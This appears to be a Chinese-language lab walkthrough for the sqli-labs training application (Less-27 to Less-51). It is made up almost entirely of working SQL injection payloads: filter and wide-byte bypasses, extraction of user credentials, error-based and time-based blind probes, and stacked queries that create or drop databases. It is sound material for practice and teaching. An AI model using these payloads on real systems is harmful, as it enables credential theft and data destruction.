目录
前言
方法不止一种,在此只列出部分方法。
Less-27
查库名
?id='%0b uNion%0bsElect%0b 1,database(),3 %0b or'
查表名?id='%0b uNion%0bsElect%0b 1,(sElect%0bgroup_concat(table_name) from (information_schema.tables) where (table_schema='security')),3 %0b or'
查列名?id='%0b uNion%0bsElect%0b 1,(sElect%0bgroup_concat(column_name) from (information_schema.columns) where (table_name='users')),3 %0b or'
查用户名、密码?id='%0b uNion%0bsElect%0b 1,(sElect%0bconcat(username,'==',password)%0bfrom%0busers%0blimit%0b0,1),3 %0b or'
Less-27a
查库名
?id=0%22%0BuNion%0B%20sElect%0B1,database(),3%0Bor%22
查表名?id=0%22%0BuNion%0B%20sElect%0B1,(sElect%0bgroup_concat(table_name)%20from%20(information_schema.tables)%20where%20(table_schema=%27security%27)),3%0Bor%22
查列名?id=0%22%0BuNion%0B%20sElect%0B1,(sElect%0bgroup_concat(column_name)%20from%20(information_schema.columns)%20where%20(table_name=%27users%27)),3%0Bor%22
查用户名、密码?id=0%22%0BuNion%0B%20sElect%0B1,(sElect%0bconcat(username,%27==%27,password)%0bfrom%0busers%0blimit%0b0,1),3%0Bor%22
Less-28
查库名
?id=0') %0bunion%0bselect%0b1,database(),3%0bor('
查表名?id=0') %0bunion%0bselect%0b1,(select%0bgroup_concat(table_name) from (information_schema.tables) where (table_schema='security')),3%0bor('
查列名?id=0') %0bunion%0bselect%0b1,(select%0bgroup_concat(column_name) from (information_schema.columns) where (table_name='users')),3%0bor('
查用户名、密码?id=0') %0bunion%0bselect%0b1,(select%0bconcat(username,'==',password)%0bfrom%0busers%0blimit%0b0,1),3%0bor('
Less-28a
查库名
?id=0') %0bUNIon %0bSELEct %0b1,database(),3%0bor('
查表名?id=0') %0bunion %0bselect %0b1,(select%0bgroup_concat(table_name) from (information_schema.tables) where (table_schema='security')),3%0bor('
查列名?id=0') %0bunion %0bselect %0b1,(select%0bgroup_concat(column_name) from (information_schema.columns) where (table_name='users')),3%0bor('
查用户名、密码?id=0') %0bunion %0bselect %0b1,(select%0bconcat(username,'==',password)%0bfrom%0busers%0blimit%0b0,1),3%0bor('
Less-29
查库名
?id=-1' union select 1,database(),user()--+
查表名?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security'--+
查列名?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'--+
查用户名、密码?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
Less-30
查库名
?id=-1" union select 1,database(),user() --+
查表名?id=-1" union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+
查列名?id=-1" union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' --+
查用户名、密码?id=-1" union select 1,group_concat(username),group_concat(password) from users --+
Less-31
查库名
?id=-1") union select 1,database(),3--+
查表名?id=-1") union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = 'security'--+
查列名?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
查用户名、密码?id=-1") union select 1,group_concat(username),group_concat(password) from users --+
Less-32
查库名
?id=-1%df' union select 1,database(),user()--+
查表名?id=-1%df' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = database() --+
或
?id=-1%df' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = (0x7365637572697479) --+
(括号里为"security"的16进制)
查列名?id= %df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=(0x7573657273)--+
(括号里为"users"16进制)
查用户名、密码?id=-1%df' union select 1,uname=%df' union select group_concat(username),group_concat(password) from users --+&passwd=&submit=Submit --+
Less-33
Less-33与32一致,32为自定义过滤,33使用addslashes()过滤
Less-34(POST)
查库名
uname=%df' union select database(),user()--+&passwd=&submit=Submit
查表名uname=%df' union select database(),group_concat(table_name) from information_schema.tables where table_schema = (0x7365637572697479) --+&passwd=&submit=Submit
查列名uname=%df' union select database(),group_concat(column_name) from information_schema.columns where table_name=(0x7573657273) --+&passwd=&submit=Submit
查用户名、密码uname=%df' union select group_concat(username),group_concat(password) from users --+&passwd=&submit=Submit
Less-35
查库名
?id=0 union select 1,database(),user()--+
查表名?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = (0x7365637572697479)--+
查列名?id=-1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=(0x7573657273)
查用户名、密码?id=-1 union select 1,group_concat(username),group_concat(password) from users--+
Less-36
查库名
?id=-1%df' union select 1,database(),user()--+
查表名?id=-1%df' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = (0x7365637572697479)--+
查列名?id=-1%df' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=(0x7573657273)--+
查用户名、密码?id=-1%df' union select 1,group_concat(username),group_concat(password) from users--+
Less-37(POST)
查库名
uname=-1%df' union select user(),database()-- &passwd=1&submit=Submit
查表名uname=-1%df' union select user(),group_concat(table_name) from information_schema.tables where table_schema = (0x7365637572697479)-- &passwd=1&submit=Submit
查列名uname=-1%df' union select user(),group_concat(column_name) from information_schema.columns where table_name=(0x7573657273)-- &passwd=1&submit=Submit
查用户名、密码uname=-1%df' union select group_concat(username),group_concat(password) from users-- &passwd=1&submit=Submit
Less-38(堆叠注入)
?id=-1' ;CREATE TABLE cooper like users--+
?id=-1';CREATE DATABASE cooper--+
(创建库cooper,创建表cooper)
Less-39(堆叠注入)
与38相同,闭合不同,id=1
Less-40(堆叠注入)
与38相同,闭合不同,id=1')
Less-41(堆叠注入)
与38相同,闭合不同,id=1,错误不回显
Less-42(堆叠注入,POST)
login_user=admin&login_password=1';drop database cooper--+&mysubmit=Login
(user有过滤)
Less-43(堆叠注入,POST)
与42相同,1')闭合
Less-44(堆叠注入,POST)
与42相同
Less-45(堆叠注入,POST)
与43相同
Less-46(报错注入)
?sort=1 and updatexml(1,(concat(0x7e,database(),0x7e)),1)--+
Less-47(报错注入)
与46相同,'闭合
?sort=1' and extractvalue(1,concat(0x7e,database(),0x7e))--+
Less-48(爆破注入)
?sort=1 and if(length(database())>1,0,sleep(5))--+
Less-49(爆破注入)
与48一致,'闭合
?sort=1' and if(length(database())=8,sleep(5),0)--+
Less-50(报错注入、堆叠注入)
?sort=1 and extractvalue(1,concat(0x7e,database(),0x7e))--+ (报错注入)
?sort=1;create database cooper;--+ (堆叠注入,创建库)
Less-51
与50一致,'闭合
?sort=1';drop database cooper;--+